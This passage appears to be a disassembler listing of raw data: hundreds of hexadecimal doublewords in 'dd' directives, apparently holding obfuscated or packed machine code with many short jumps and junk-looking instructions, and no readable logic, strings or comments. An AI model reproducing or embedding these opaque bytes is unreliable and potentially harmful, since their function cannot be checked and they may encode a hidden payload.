6D7BCF14h, 66D7BF0Fh, 63BFC38Bh, 8B72A4E3h, 0DF8B66D0h dd 0EE8CF8Bh, 58000000h, 0E38159D7h, 30DC514Dh, 0DB26B1F0h dd 0D18DBF24h, 8B5E6F4Fh, 11E8F0h, 59E80000h, 3BEBC2CCh dd 0B598A60Eh, 4FA1E100h, 0E8D855DFh, 0Ch, 8593A209h, 8E15ECE6h dd 93CD5A4Eh, 0CE9h, 4781D500h, 7BBBE7B0h, 7A9EBFC6h, 8B5A5F01h dd 0D18BF9D3h, 9E9h, 0A2513B00h, 0EC1D594Bh, 81573EBAh dd 7E45B8E7h, 8B665B4Dh, 5E9F3h, 7F5A0000h, 81B6282Dh dd 0D57052E6h, 0EE92Ah, 7FCB0000h, 0F7C22014h, 4033D997h dd 0AD6BDA67h, 6E8h, 9C8C6C00h, 8B75CC1Ah, 0BE85AF7h, 35000000h dd 30D574DCh, 4AD8DD13h, 0BA535E4Eh, 1F2D4F39h, 81605B5Eh dd 3217AADBh, 8A61FC3Dh, 0E28166DEh, 0BF0FC02Bh, 8D0FFCDBh dd 3, 8BFBBF0Fh, 14E960FEh, 21000000h, 0EB95E0C3h, 99820BC4h dd 624469Fh, 847A7304h, 0F750A21h, 587h, 0EB816600h, 0E86170AFh dd 11h, 55A33045h, 0D896F804h, 0A16D1FDDh, 0B54DFF63h dd 2860FA3h, 51000000h, 0B9665F5Fh, 0B9666D7Eh, 7E915F0h dd 24000000h, 0DA7DB862h, 0FEBA6F09h, 661C9C60h, 0AE9CF8Bh dd 7A000000h, 0AB380206h, 2BA43070h, 2820F9Eh, 0B3000000h dd 0E9D48A59h, 9, 0A2B65E68h, 0D80880Ah, 0D5CE8087h, 56B489B6h dd 0EE8h, 5FA9500h, 64444836h, 66B6BA34h, 662E5AE9h, 8058CB8Bh dd 8B66F0CBh, 0F78166D6h, 0BA662F2Fh, 665093E3h, 0F3B5D281h dd 0F850F5Fh, 0E9000000h, 0Ah, 0D4622899h, 4A47EBAEh, 665185D3h dd 3CE6C281h, 2287B95Eh, 8B667521h, 0C38166DEh, 8166FF5Eh dd 0B8D8E0EEh, 77B63227h, 0A830FF8h, 0F000000h, 480h, 19B86600h dd 5880F54h, 56000000h, 5AD7B70Fh, 84C98166h, 0E6E9815Eh dd 0F51E96A8h, 61605751h, 0E9F95F5Eh, 14h, 91520E6Fh, 0E25BE1Ch dd 977CCBE8h, 61F407C4h, 0ACB84B83h, 11E960h, 85CD0000h dd 0F90D8A70h, 0B42C517Dh, 9453EA9Dh, 0F5DF6F66h, 6E861h dd 0AE080000h, 0D0F9B697h, 860FF95Ah, 0Ah, 815F5360h, 5A3A26EFh dd 0E9F56109h, 14h, 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h dd 0ABE989AAh, 13E9h, 0A1FC9C00h, 0E779765Ch, 55BC293Ah dd 0E7E20447h, 72DB44DDh, 0E85FC680h, 5, 0B9C752BCh, 840FFEh dd 5B000000h, 18FFD381h, 820F022Ch, 0 dd 8B66F08Bh, 5CF81FBh, 8015E308h, 0EE8149E8h, 6FFD7C0Dh dd 28F0Fh, 49B20000h, 0BF0FFB8Bh, 7E860F8h, 5A000000h dd 0AD2FF379h, 8B66B88Ah, 53605FD0h, 8161615Bh, 0A550C8C3h dd 0F3805079h, 0F2815920h, 4690E2B1h, 11E9h, 98180500h dd 71C22267h, 5567911Fh, 0F28C3A70h, 0BF0F8239h, 0AE960FFh dd 8B000000h, 44AD1982h, 0D7C37E2Bh, 5B0531Ah, 0D18B615Ah dd 97DFBF53h, 665809FDh, 8A0FD78Bh, 4, 0F9F6BE66h, 0F8D18B66h dd 0DE9h, 2C53E200h, 34CFD25Eh, 655C1E67h, 8B66F95Dh, 8B5852DEh dd 1DC2BECBh, 800F367Fh, 3, 0E8FEBF0Fh, 0Bh, 0A82E8053h dd 9249ACF3h, 0FE2FB79h, 38Bh, 0FFB70F00h, 80EF805Ah, 14E8DE8Bh dd 0EF000000h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h dd 66E0F27Dh, 33B6CB81h, 0E8D78A5Eh, 0Ch, 5F424665h, 50476110h dd 929D6CC0h, 11E960h, 0DB370000h, 0BF937CE7h, 989C6A85h dd 0A62466DBh, 0E9C07CC6h, 0Ch, 5A636660h, 27CEC440h, 4D4182A3h dd 0B70F5A61h, 0BE8C8h, 8F420000h, 0CF83C50Fh, 0F9A6E1BFh dd 38F0F60h, 0F000000h, 665BF6B7h, 0D7ECE281h, 0FCFA88BBh dd 0F480513Fh, 0E850593Dh, 0Ah, 7111E325h, 0F10CA10Ch dd 0B70FC293h, 8B595EC2h, 1850FD7h, 0F5000000h, 28A0Fh dd 0C88A0000h, 5E9h, 9D22F800h, 81FC3EB8h, 0A4225FE1h dd 66C0B743h, 0BA66F98Bh, 8B661C6Eh, 0CB8AF9DFh, 8A53ED80h dd 0ECB966F5h, 6800F63h, 81000000h, 5091E9D2h, 0EB81667Fh dd 0C9815CAAh, 4A1F7748h, 16800F56h, 0E9000000h, 11h, 18E7B741h dd 0E6F4160Ah, 8D308F3Dh, 0B7257168h, 0C2805B6Bh, 0C98160B5h dd 4AE61BF3h, 0F61F0B2h, 8Bh, 12E8F900h, 74000000h, 0AA398A34h dd 908CC0B0h, 0C05EAA67h, 0A101C96Ah, 0BF0F606Fh, 615857FAh dd 81666059h, 0F16D9C3h, 1785h, 12E900h, 0CE3C0000h, 5B2BCFAFh dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 14E961h, 0ED440000h dd 2F3DC619h, 0F9A1857h, 38DCD926h, 0FBE44775h, 81665A6Fh dd 0E9EC8FE3h, 5, 0C306BD1Dh, 0E281661Fh, 0AE98AC2h, 0E000000h dd 0A7E3D3A8h, 122787EFh, 0D8B70F68h, 8166C8B3h, 0F9E42CFh dd 58Eh, 0E1816600h, 0DD8A580Fh, 0DB8166FCh, 0D18B68B3h dd 2860Fh, 0FD8A0000h, 5CEED281h, 8B660788h, 0F5350CFh dd 89h, 0E9585E00h, 7, 0BC2AA296h, 0E96640ACh, 5, 453C52BBh dd 890F20h, 57000000h, 0DE9h, 374F8900h, 197CF544h, 485F2A17h dd 805A7AA7h, 0E86077CFh, 7, 7D6B0A97h, 0BB8FE45Bh, 26367D71h dd 6800F59h, 81000000h, 0B6BB05DFh, 80F86151h, 8A0F75C4h dd 4, 5EA5B752h, 0AE8h, 43376400h, 0A6138369h, 0E914BD4Bh dd 12h, 625408F7h, 21B9F048h, 7656E725h, 0AFDB683h, 0F583E59h dd 0A80h, 4860F00h, 66000000h, 664F34BEh, 50AFC881h, 810F1CB3h dd 12h, 0DE9h, 0E6B22B00h, 0A5CF4993h, 0E5818377h, 830FA451h dd 0 aKus db 'Šãé',0Dh,0 db 2 dup(0), 3Eh dd 0C7B338BAh, 60A8B530h, 0EA63B6B1h, 819DE480h, 69E322DEh dd 66D08B07h, 0FF295B9h, 380h, 0EFCF8000h, 0BEF8166h, 8B0FF1h dd 56000000h, 0DE95FF8h, 3D000000h, 0EBAFEA61h, 6570A636h dd 8C425529h, 6E9h, 0CE38AF00h, 0F9739193h, 0FE9h, 5B543F00h dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 0ADCA8166h, 0D8A3B8C9h dd 27BB34FFh, 0BF63CED3h, 429A20E8h, 6E8h, 72329500h, 669082A0h dd 489E381h, 0DF41BB5Bh, 0E85675C0h, 13h, 0B8B5C0CFh, 83E58B66h dd 0C2FE6AAFh, 208CF035h, 0E82B74CAh, 10h, 7CD906A3h, 297ED11Dh dd 0D1FCAC18h, 0A7DA7B2Fh, 0F595B5Fh, 8B0FDEB7h, 3, 0B8C18B66h dd 328352EDh, 6820F60h, 0F000000h, 84h, 12E96000h, 97000000h dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh, 27BF66D4h dd 606161DDh, 8BD68B66h, 54BF61F2h, 0E97FE46Ah, 6, 84F197DFh dd 0BB66BE16h, 66601FE9h, 61BE58BFh, 55F68166h, 0B97DB544h dd 2103F70Eh, 1800Fh, 0FF80000h, 5351D0BFh, 5E95E5Bh, 0EB000000h dd 0C0617301h, 0CE8B66F8h, 58F18166h, 3840F23h, 0F000000h dd 51FCF6BFh, 2735C181h, 6658650Eh, 0E99250BFh, 0Bh, 0F5AE3683h dd 0F2DC0B2Eh, 0F8F6EE9h, 138Dh, 0EE900h, 0B9BA0000h, 78761D2Bh dd 864B7156h, 5BD5A1E7h, 10E9h, 0A4F32000h, 713A5FCCh dd 0D2EC7567h, 0A6FE6645h, 0BE9F908h, 0DB000000h, 6BBD6084h dd 0C841575Eh, 880F5138h, 0Bh, 6E9h, 360B7800h, 501AB606h dd 58F88B66h, 1CF8166h, 0CA8B6602h, 0B54C52BAh, 0B853B466h dd 4550C84Fh, 10E8h, 453A5B00h, 0E17DC95Eh, 12DCABF4h dd 4BCE605Fh, 81665F25h, 667C9CCAh, 8B0C0ABAh, 58F0FD1h dd 0BF000000h, 0FFA8266h, 0FD0B70Fh, 11E9C9BFh, 0E6000000h dd 0BEB0A8A5h, 8F01EF51h, 1076E5D4h, 881128FEh, 7838C281h dd 5E87B9Bh, 0F2000000h, 3AA24645h, 28F0Fh, 59520000h dd 810F605Eh, 4, 2BDEBE66h, 7E9h, 577F0400h, 2BF0EAE8h dd 99F68161h, 602CE2DBh, 59F18166h, 0DA8B6687h, 0D3B96661h dd 0C6E08030h, 830Fh, 0F600000h, 58Ah, 0EA816600h, 8B666F29h dd 666061F2h, 94B7D781h, 81666061h, 668E30DBh, 615F35BAh dd 0DE9h, 0CC421500h, 0EEB8ED3Dh, 0F83851Eh, 0E8809769h dd 14E90Bh, 0FBCF0000h, 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h dd 71AE3ADAh, 9E9CEB3h, 0A0000000h, 443BC974h, 18BD67A9h dd 0EE8h, 19FD3F00h, 0C72B3BB6h, 606A9178h, 0E9B66C63h dd 0Dh, 3DCC4215h, 1EEEB8EDh, 690F8385h, 66525897h, 8F36D781h dd 4CBF6658h, 3830F8Eh, 0F000000h, 0E3BEF3BFh, 0E922FBDEh dd 10h, 0B48B8753h, 0B64A10A2h, 6BD5F1F6h, 9FD24E76h, 989BEEB9h dd 850FF548h, 0 dd 0EE9h, 0C3A98800h, 0ED427C28h, 35B7EF97h, 605B2953h dd 0F64FBE66h, 0D98161F5h, 6980F7F5h, 66FCD18Ah, 10E9FB8Bh dd 0D7000000h, 46DB3812h, 2200E068h, 0C90A0D55h, 0E9413E61h dd 0Ah, 8E779A70h, 808F0D98h, 0CE96E0Ah, 0C5000000h, 8F96992Bh dd 34D03213h, 8044DA86h, 0E851C7EDh, 0Ch, 1DEDC057h, 2EDE7298h dd 2DFBB2DEh, 5BC7DF80h, 8ACA8B58h, 7E9CFh, 0B6F0000h dd 38673E8Fh, 19CA81D6h, 0B5125757h, 0EE94Bh, 0B5BC0000h dd 1D01ED9Ch, 0C239B284h, 95075B56h, 1254CF81h, 0BE97C21h dd 0EF000000h, 3737B8CCh, 5CAC783Ch, 8A0F9F93h, 2, 0E952F28Bh dd 11h, 31BE10B6h, 9445785Bh, 0B3095600h, 14D8A7C6h, 8E0F5F5Bh dd 14h, 0FE9h, 0E2083500h, 2B580D03h, 0F68B7982h, 1EC4107Ch dd 5FD08166h, 0CE811h, 0D6E0000h, 816F695h, 32DB08Dh, 0DF8BC046h dd 0F60F85Bh, 81h, 0DFB70F00h, 2CDF8161h, 664DF16Ah, 5D50E281h dd 0EE9CB8Bh, 34000000h, 233FDF19h, 0B9E30D24h, 0EA078AE2h dd 13E9D5h, 1B760000h, 9D31281Eh, 6D11A745h, 0CC29EAB3h dd 0C4A92332h, 0FE8F521h, 0D9000000h, 30CB3C18h, 1890D789h dd 5476413Dh, 5E95980h, 73000000h, 944ADE36h, 4830F5Ah dd 66000000h, 0E9E07BBEh, 0Dh, 5FD9FB8Eh, 50329321h, 7B8AAEC5h dd 10E8D7h, 0E61D0000h, 47FA1FB4h, 0F8AD4563h, 0ED632F89h dd 0EA8A3F4Eh, 0AE959h, 49530000h, 0AB18C8Fh, 0D9587B65h dd 13E9h, 0C2E2C100h, 0E4F3E0B1h, 0B31D96A7h, 0C3D5191Ah dd 7B741AB4h, 3A10E4BBh, 10E93Ch, 80840000h, 78727A29h dd 73B93292h, 59E2CE99h, 5ABBA1A6h, 6653C0FEh, 56B39CB8h dd 0F88B6651h, 0DE85A5Bh, 40000000h, 0C48F71D2h, 40C18CBFh dd 0A14BEAE5h, 5AC78B66h, 51EA8060h, 28C0Fh, 5B520000h dd 0B97BBF61h, 48B35FAEh, 4800FF8h, 66000000h, 6099D8BEh dd 10810Fh, 0AE80000h, 0E4000000h, 5B3B601h, 312D3E95h dd 81665B68h, 616369E9h, 4EEA8166h, 4EDF806Ch, 8266BA66h dd 5840Fh, 81660000h, 0BE1D48CBh, 63FBEE8Dh, 10E8E18Ah dd 0CB000000h, 328B05C1h, 37F00658h, 8007207Fh, 0B94BC352h dd 7D20DA8h, 1AB2BB59h, 60F57C4Ch, 0AE9h, 69E82C00h, 5E36F3CAh dd 8016E434h, 0FC6107D3h, 81C38B60h, 484097F0h, 8A0F612Bh dd 1Dh, 11E8h, 835F6B00h, 5768C369h, 0C75B165Bh, 98977028h dd 0D3813E0Ch, 6DAFE31Bh, 850F5Fh, 81000000h, 43EC7ADBh dd 0CE801h, 5D4D0000h, 3F629591h, 3F25E4Ch, 81662F9Dh dd 59B66DC6h, 6E951h, 19200000h, 0ECD9D6B3h, 0F98B665Ah dd 0F366BEF5h, 0F5368FEh, 38Ah, 0FA8B6600h, 0A8B9665Ah dd 0DC78BA67h, 0D981477Eh, 781CC25Bh, 0A85DE681h, 0C38157D5h dd 34C6D0F8h, 0A372C781h, 12E97801h, 48000000h, 34ECD775h dd 407D8E02h, 48442CC1h, 257F2292h, 5820F75h, 66000000h dd 7B34DB81h, 0F31DE80h, 1680h, 108D0F00h, 0E9000000h dd 0Bh, 0DF80AAE9h, 818CFF9Ch, 5334DED8h, 81665BF8h, 0F98D1EFh dd 386h, 41E38000h, 0EE8h, 6C2FAC00h, 52B2FFE2h, 0B7208FADh dd 0E8A1B2FCh, 6, 0E4237F30h, 0BE985D7h, 4E000000h, 29D05D32h dd 0FCF7712Ah, 595A1A72h, 0FE9h, 0DDAD2800h, 0DC605D02h dd 0A42A7AB1h, 640CBEA5h, 0CE8h, 3301AB00h, 0E543D388h dd 7EAC528Bh, 12E8DEh, 48130000h, 69D12E9Bh, 253EDDB1h dd 3912DE8Eh, 2B7DFB62h, 8E0F5F5Eh, 6, 0F018E081h, 0C2813917h dd 61F230ECh, 0F8BCDF80h, 5840Fh, 80500000h, 605BF6D5h dd 0E9F6B70Fh, 0Bh, 0CD819B71h, 6B8D8548h, 6152448Eh, 9BD38166h dd 14E932h, 0EB350000h, 0C0761524h, 16F73B12h, 0CCF4845Fh dd 0A160B80Fh, 8E0FB418h, 11h, 0B880Fh, 6E90000h, 17000000h dd 4C5F0ED2h, 9E9FEh, 248D0000h, 1A9F7D47h, 0E84A9FEDh dd 10h, 79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh, 0A4F9A27Fh, 0E959EC8Ah dd 13h, 457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h, 0F501008h dd 680h, 6AE78100h, 8A3762ADh, 0F0B70FC5h, 0BEC5E181h dd 8B523191h, 0E9525EFEh, 0Ch, 25E73AEDh, 2756662Dh, 8E5F40FBh dd 0EE81665Bh, 10E8769Bh, 0D4000000h, 0FBDA57D1h, 0C11501B5h dd 888CD8AFh, 0FC283E2h, 687h, 82E78100h, 5920CC5Ah, 98D08060h dd 0C8A0F61h, 0F000000h, 683h, 8A0F00h, 0E9000000h, 0Fh dd 15E23225h, 7C867EA4h, 0AC5FAE00h, 0FA6CE15h, 8A0FDEB7h dd 1, 0FEBF0FF9h, 7E9h, 27E64E00h, 0F8AC148Bh, 81F28B66h dd 8DA4EDCBh, 0D18B664Ah, 0F1F58060h, 66616060h, 6161CB8Bh dd 0DE8h, 0F4BA0200h, 267E44EAh, 327264DAh, 0F579659h dd 5959FABFh, 0EE9h, 0EA8CB200h, 0E52EA72Ch, 17644588h dd 813423CFh, 695571F7h, 0F1FB421h, 383h, 0A1D08000h, 9DB5E281h dd 8B0F12DAh, 4, 58616050h, 8B6042B6h, 816661C8h, 0FFE78C1h dd 0BF0FCAB7h, 0BE9FEh, 99660000h, 0C4B5F43Bh, 4EDD01ADh dd 8E9602Fh, 47000000h, 7E778AB2h, 0BAC79277h, 26158868h dd 208C0F61h, 0F000000h, 1A86h, 14E800h, 0C0930000h, 0BE2F6E49h dd 0EBCF6F56h, 17D02B16h, 84FCD1ABh, 0F5A9D33h, 389h, 0C6B70F00h dd 0F97EEB80h, 0BF0FE18Ah, 8E9C7h, 24F60000h, 0DACCB176h dd 8057DE62h, 805F00CAh, 0B70F99C6h, 0D830FD6h, 60000000h dd 32BBACBEh, 8A0F01h, 61000000h, 0AE952h, 5D200000h, 0EB740A46h dd 0D19DE545h, 0DD80F95Fh, 0F5F51D0h, 1284h, 0BE800h, 8C5D0000h dd 7E7B539Fh, 2C6C4193h, 605BFC41h, 662CEE80h, 61BC6ABFh dd 0DE9h, 3E3F8400h, 23FD3917h, 1A610D62h, 14E8801Fh, 5F000000h dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 0E891279Ch dd 14h, 0E93F6596h, 0C449A6F1h, 0B8553F41h, 0DE495006h dd 0CAB889FBh, 59596160h, 0DA816660h, 8B668ACCh, 0F5261DAh dd 8A5FF1B7h, 2810FF8h, 0B1000000h, 0FE989h, 0F3380000h dd 0F10547BCh, 76BAF48Ah, 5CF297Fh, 0E8816689h, 0B70FB8B0h dd 82B966D1h, 11E8C9h, 78C00000h, 6B4509F0h, 0BEF1D106h dd 0F2494C20h, 0FADBED4h, 381h, 0B8EC8000h, 0D78B665Ah dd 0EE8h, 9DB12900h, 7B6D69C5h, 0EA774680h, 0F271B65h dd 286h, 5EC18B00h, 5880F60h, 0BE000000h, 7F6FCDB2h, 0BE8h dd 8412CB00h, 941A6F9h, 4AD2DB64h, 0FE8615Fh, 6A000000h dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 8E88CC5h, 0DF000000h dd 806051E9h, 810460F5h, 1DA35DDAh, 605B5A7Ah, 0D430B6BBh dd 18E08072h, 0B966F561h, 8B663184h, 0E78166F9h, 0B866BAFEh dd 81661E57h, 66EAD9E0h, 7BFAF381h, 78F0Fh, 60600000h dd 0D6B70F61h, 9E85061h, 2A000000h, 0EB08543Eh, 0A9E7FE09h dd 0E9F95959h, 11h, 9407244Dh, 99A1ADAh, 6823E32Fh, 0BD6F34B7h dd 12E95150h, 8B000000h, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h dd 26A3AB39h, 7E85B95h, 6C000000h, 0C80BDA87h, 0F98B09D2h dd 9DCA8059h, 7E8h, 58B9C900h, 7F3ED737h, 66FC5EF9h, 90BAF081h dd 11E3DFBBh, 8B0FF535h, 4, 0AA8BBE66h, 0FDF8B66h, 381h dd 0CABF0F00h, 40D4BB66h, 0FF6BF0Fh, 58Ch, 0B097B800h dd 0FFC2590h, 0FC8AF8BFh, 8571E1BAh, 0F18B6674h, 81D9CC80h dd 5D369ED7h, 8A0F73h, 0F000000h, 33B4F6BFh, 5AD18B52h dd 60F5E58Ah, 13E8EB8Ah, 0E2000000h, 0A6293429h, 0D0DE1CB1h dd 3C77D8E0h, 0C21CD538h, 0BE8389Bh, 0B9000000h, 572B2BBFh dd 8D792C84h, 5E598F97h, 6E961h, 126B0000h, 4A6E2A64h dd 5850Fh, 29BE0000h, 815EA552h, 219F5BD0h, 0DA8B665Ah dd 0FB26DCBAh, 14E943h, 37870000h, 2E4C2F0Ch, 5EC6687Ch dd 0B2420B04h, 49E29EB7h, 0DF815838h, 2C2A1543h, 9E960h dd 0D9FC0000h, 587C7E5Ah, 0F91E620h, 0BE61CFBFh, 1D9BF403h dd 0FE950h, 31320000h, 0F2A4C987h, 0DD2CA821h, 64E753CBh dd 0BF0F5BA9h, 10E8CAh, 0F94F0000h, 0A66A274Fh, 479A207Ch dd 2D98AEC3h, 0BF0F745Bh, 8B665AD8h, 0EE8F1h, 42F60000h dd 645213AFh, 4A70C56Ah, 0F1C97A96h, 0E08636BFh, 0F2805B47h dd 0E1F781E1h, 8B29DA92h, 0B5DF81C8h, 66562CD8h, 0E9917DBFh dd 10h, 0D9893A47h, 457AB6Dh, 82F49272h, 0E430309Ch, 5E9h dd 0D58BF00h, 0B70F99CFh, 665857CBh, 0F808C8BAh, 0D0D68166h dd 0EE837h, 0BA120000h, 0B5AA0CE4h, 0BB880B1Ah, 54D3EBFAh dd 0E958F28Bh, 12h, 0FE16C4C8h, 0CAC07ED6h, 0B81DCD14h dd 0C75829BEh, 890FDDDFh, 17h, 12E9h, 0CFFFD500h, 2453BA7Bh dd 9A1520FDh, 79899Ah, 80993585h, 9E9F5C3h, 69000000h dd 0D026640Eh, 6E7A7D18h, 58C0Fh, 0F520000h, 0F59CFB7h dd 0C8Ah, 7E900h, 8EF0000h, 4DD18ABCh, 5BEA81E7h, 0F52722E4h dd 6652D08Bh, 588848BAh, 39B3BA66h, 6E95957h, 84000000h dd 6420A6A6h, 6E840h, 72E20000h, 0EB4883F0h, 19D0815Bh dd 0F13BE37h, 584h, 0DE816600h, 0EF80F060h, 816660DDh dd 0F09D9E8h, 1580h, 0FE800h, 93DC0000h, 64A9831Fh, 7DD9397Bh dd 0D9792071h, 0F615F3Dh, 585h, 8697BE00h, 0EA8A6400h dd 7FAA32BAh, 0F8FCF829h, 6E8F9h, 90E10000h, 0DFB64522h dd 1ACE8059h, 3DDF8166h, 0BE98Ch, 0C1950000h, 0F5B6EB2Fh dd 1D195246h, 0EE82Ch, 0A2500000h, 9131C54h, 1CC19056h dd 12B8010Eh, 0BF5F09B7h, 27CED3EBh, 60FFBF0Fh, 2800Fh dd 0D78A0000h, 0F076E381h, 0E8612EDFh, 9, 98AC3406h, 0E40B160Bh dd 6E97Fh, 4EF10000h, 1F01DF5Bh, 0D2815059h, 15A6CF49h dd 0CE95Bh, 30500000h, 720A0C44h, 0F9856C68h, 8B661B45h dd 1C8CBBC6h, 0BF0F3E29h, 11E9C9h, 9DD70000h, 1A49445Bh dd 0F1BF5FF7h, 62FF123Ch, 0E9CBD5D1h, 0Eh, 0D7E0F500h dd 0F2963231h, 0DAB75ECBh, 0BF0F4B5Bh, 0F9C18AD0h, 63E6B966h dd 840A3B9h, 53E9800Eh, 0FD38B66h, 85h, 0DE900h, 9C810000h dd 3002CEF9h, 0D542D426h, 80061BFEh, 0D48A65ECh, 0FA0DC80h dd 981h, 38B0F00h, 80000000h, 71BBBBEFh, 816B7211h, 667442DEh dd 0C909BA79h, 8E0F64DEh, 0Eh, 9E9h, 5664FE00h, 998094C5h dd 8B66860Dh, 0E7BE66D0h, 96C8813Eh, 0E918082Eh, 11h, 0C1A3FCD6h dd 0E3388A2Dh, 0F00F947Ah, 5DD816C6h, 0FE8F9CEh, 9000000h dd 6DBF86Fh, 0C2433AC1h, 6549B908h, 0F5F11F8h, 382h, 0D1B70F00h dd 11EDF781h, 0DE95A4Bh, 1E000000h, 6A6F0B8Fh, 8063943Eh dd 509EF59Eh, 0DE85E53h, 99000000h, 76E70535h, 0A3E9F1E2h dd 0A3DCEADCh, 0AE9h, 0CE921C00h, 0D8409E25h, 58F3D9D7h dd 503EBA52h, 665F7FC7h, 663570B9h, 0E9CB26B9h, 0Dh, 180E156Ch dd 9B4E315Bh, 58ACF4A4h, 0D4BE66F0h, 13E80Bh, 33F20000h dd 15FC50B3h, 288D709Eh, 0FF0D0896h, 0C43F2AF7h, 59D68BEFh dd 0EF4C181h, 14E91329h, 38000000h, 51E1502Eh, 45AABCA8h dd 5E1016CEh, 13068DAEh, 0E8FDA25Bh, 6, 0C4E3C214h, 0BF0FD5C3h dd 8F0F5BD1h, 2, 8A0F91B2h, 0 dd 66C6B70Fh, 0E957FA8Bh, 0Ch, 0AC6320FBh, 0FDF5A719h dd 4F628587h, 1007BE59h, 516063CEh, 0DE85Bh, 1A160000h dd 64F9E22Eh, 0BB48B38Bh, 59DD93BAh, 6840F61h, 81000000h dd 0D9EC7CDFh, 16E78119h, 663742ADh, 0C6BFDA8Bh, 0F54BA002h dd 0F8B70F60h, 0EA07B860h, 8B0F2F53h, 0 dd 0F7806161h, 14E95724h, 91000000h, 424EE637h, 0CD07A97h dd 0C991A976h, 3BDB7BDEh, 5B4FC81Eh, 32E18166h, 0F66B637h dd 6660C1B7h, 890FD78Bh, 19h, 14E9h, 7A953900h, 82E10356h dd 0DA105207h, 43E9D1AEh, 74EC17BBh, 51F56125h, 29B1BA66h dd 820F5Ah, 0F9000000h, 31939FBAh, 0D3816625h, 0B966BC4Ch dd 0FFC7851h, 0A88h, 4860F00h, 66000000h, 66C3DBBBh, 216AE881h dd 98F48051h, 6E85Bh, 0BDE40000h, 2BBEAAC7h, 0E3816660h dd 61F53372h, 0F7B70F59h, 0CFF48060h, 12E8h, 0CB986C00h dd 9C9654CCh, 0D554A104h, 2647C710h, 8AF4B281h, 66615FCFh dd 60ECD1B8h, 6E8h, 6A7D400h, 8AC25AD5h, 61F85FD8h, 8E8h dd 0B4326F00h, 0B9C348CBh, 9E882h, 16BA0000h, 2912EE64h dd 0F4B5C04h, 81h, 665E5A00h, 3AB1F08Bh, 0CE8h, 0A9EB6800h dd 0D588D5BCh, 5A15606Ch, 58F28B82h, 860F5260h, 0 dd 0BE95Fh, 0BC350000h, 0F7199CA1h, 20B0CA94h, 0FFC610Eh dd 0C180C0BFh, 58A0F82h, 66000000h, 0F545C781h, 0BF0FFA8Bh dd 0F60F5C1h, 8B61CFB7h, 0BF6652FEh, 8A5E8016h, 13E9E5h dd 4C200000h, 0BED4F249h, 0AC19E3ADh, 4CD4980Fh, 0DB912BDDh dd 0E8FB8B49h, 0Ah, 7EA38339h, 91A30C0Bh, 81662F63h, 59B8EDDFh dd 0FE9h, 6813200h, 0E5482D9Fh, 4F88EF62h, 924703BCh, 0B660FA8Bh dd 0C18B66E7h, 0BCBA6661h, 0EE9606Eh, 0EC000000h, 74251C06h dd 9BBC073Ch, 0F241562h, 61D98A00h, 0FC3B70Fh, 2085h, 0DE800h dd 77320000h, 21F919B6h, 8A5031E5h, 0E9330FEDh, 8, 0B957863Bh dd 326C5F6Eh, 0C781665Bh, 0B70FC589h, 53F580D6h, 66F2E280h dd 0E86F76B9h, 8, 0AA3A1E1Dh, 0D8E139B3h, 58D78B66h, 7D1DBB66h dd 7880Fh, 8B600000h, 0C38B66D6h, 0CB8B6061h, 4341F081h dd 0F6125A7h, 486h, 61606000h, 0F890F61h, 0E8000000h, 6 dd 0E9775B26h, 0B70FD1F9h, 890F5ED9h, 5, 0C10B8FBAh, 5850F53h dd 0BA000000h, 5BB2DD1Fh, 0E8F1BF0Fh, 8, 50BB6E1Dh, 1862C4D4h dd 0E3815EF8h, 15ED5859h, 26DBBE60h, 60605B26h, 0C28B6661h dd 1DBF6161h, 663F8C91h, 0E928C7B8h, 5, 0C3F688E0h, 14E90Fh dd 0E4C0000h, 53FEDDF1h, 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h dd 8B666CEFh, 0AE860D9h, 0F3000000h, 679CE7BBh, 14697A36h dd 0D381667Ah, 615EE96Ah, 66F5F88Bh, 0E92D5CB9h, 0Ch, 968BD9BFh dd 51FC2CD9h, 25624BFDh, 0A860Fh, 8D0F0000h, 4, 0BF62B866h dd 0E8D68166h, 1EBB666Eh, 870F6046h, 6, 800Fh, 0E8600000h dd 12h, 0EE143D7Dh, 0E39645C2h, 405D2238h, 126661E1h, 615E9211h dd 58B0F61h, 66000000h, 6D22E681h, 6E9F78Bh, 0BE000000h dd 53547760h, 0FE9DEh, 599A0000h, 7C70A72Eh, 7D3108CAh dd 5C1C8F59h, 0FFB70F63h, 29D08166h, 7820F28h, 60000000h dd 60C88166h, 8B0F6173h, 0Ch, 940B860h, 56BE3991h, 61030F47h dd 0E9F18166h, 8D0F565Ch, 3, 5FC2F780h, 80F48AF5h, 11E956EDh dd 1D000000h, 654AA9B1h, 0AD4AE1BBh, 42427B77h, 0DFAD6283h dd 845ADA81h, 0BB6679C1h, 8B66AFA3h, 8830FDFh, 57000000h dd 0CA59C981h, 0F5E690Ch, 1988h, 11E85700h, 50000000h dd 6370144Fh, 0CA804F7Ch, 82B7F6D4h, 0B19A328Dh, 0E9FC595Eh dd 0Bh, 1E549449h, 0C15B4853h, 8B0B0FB5h, 14800FDAh, 0E9000000h dd 0Fh, 0D0D2F998h, 0F9B79314h, 0D61715A7h, 0E92E66F5h dd 14h, 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0F6804BABh, 0AE556D4Bh dd 0F95356F5h, 0D1815859h, 25ECD013h, 0E96027B2h, 0Fh dd 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 502733A6h, 615BF88Bh dd 80CFB70Fh, 0B8665FE1h, 66605734h, 8B66DF8Bh, 8C0F61C3h dd 6, 34D7E081h, 0BE667FC7h, 820F55F2h, 0 dd 0BE9h, 33DF3D00h, 0DED0BC8Eh, 81EFD13Ch, 7DC0BE66h dd 61EF8166h, 35D580B7h, 58B0Fh, 81660000h, 0E9057BE1h dd 11h, 0F943C7CCh, 0C18899Bh, 958815BEh, 0D7BDF4C3h, 0F2816664h dd 0BB66628Dh, 51F581B3h, 0CE8h, 4E7FA500h, 12D43639h dd 415ECDE7h, 5B5A5211h, 0F8606059h, 95B1D181h, 0E96167B0h dd 0Eh, 0B42146C2h, 8E50F5F0h, 